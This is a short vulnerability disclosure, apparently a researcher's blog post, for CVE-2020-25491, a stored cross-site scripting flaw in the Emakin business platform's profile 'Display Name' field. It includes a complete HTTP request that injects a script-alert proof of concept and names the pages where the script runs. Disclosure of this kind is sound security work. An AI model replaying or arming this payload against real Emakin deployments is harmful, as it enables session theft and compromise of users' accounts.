CVE-2020-25491

CVE-2020-25491.md

What is Emakin?

Emakin is Process Improvement, Teamwork, Mobility, Compatibility, Safety and Security, Reduced Costs, Higher Revenue, Single Platform software for Businesses.

Companies using Emakin include VakıfBank, Ülker, Katılım Emeklilik, Sabancı, Aegon, Eczacıbaşı, Godiva, Tarsim, A101, Near East Bank and various other institutions.

Based on the companies using Emakin, we can say that the software is used extensively in the Turkey.

What is CVE-2020-25491?

CVE-2020-25491 is a basic Stored XSS. The vulnerability is simple.

The "Display Name" field in the profile editing area (https://vulnerable.com/app/#/profile) in the top menu is affected by the related vulnerability.

Request:

```
POST /rpc/membership/setProfile HTTP/1.1
Host: vulnerable.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 807
Origin: https://vulnerable.com
Connection: close
Referer: https://vulnerable.com/app/
Cookie: _fbp=fb.2.1598889391208.495488426; cultPref=en-US; cookieToken=D5D4DB9DB3DAD8D77D8C522DCF252136F15DAA85C5F217D42

{"profile":"<UserProfile><Properties><Name/><Surname/><DisplayName>&lt;script&gt;alert('1337')&lt;/script&gt;</DisplayNa
```

You can see the payload is: **<script>alert('1337')</script>**

Then you can see that the vulnerability is triggered on the Activity Stream (https://vulnerable.com/app/#/activitystream) and Work Item (https://vulnerable.com/app/#/workitem/WorkItemId) pages.

For more details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2020-25491

For more blogposts: https://ayberk.ninja/